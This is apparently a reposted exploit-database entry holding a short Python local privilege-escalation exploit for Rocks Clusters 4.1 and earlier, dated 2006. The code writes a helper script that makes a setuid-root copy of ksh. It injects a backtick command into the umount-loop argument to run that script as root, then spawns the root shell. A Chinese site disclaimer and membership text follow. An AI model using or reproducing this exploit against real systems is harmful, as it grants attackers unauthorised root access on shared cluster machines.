#!/usr/bin/env python ############################################################################## ## rocksumountdirty.py: Rocks release <=4.1 local root exploit ## quick and nasty version of the exploit. make sure the . is writable and ## you clean up afterwards. ;) ## ## coded by: xavier@tigerteam.se [http://xavsec.blogspot.com] ############################################################################## x=__import__('os');c=x.getcwd() open('%s/x'%c, 'a').write("#!/bin/sh\ncp /bin/ksh %s/shell\nchmod a+xs %s/shell\nchown root.root %s/shell\n" % (c,c,c)) print "Rocks Clusters <=4.1 umount-loop local root exploit by xavier@tigerteam.se [http://xavsec.blogspot.com]" x.system('umount-loop "\`sh %s/x\`"'%c);x.system("%s/shell"%c) # milw0rm.com [2006-07-15]
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩: 次 本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!
暂无评论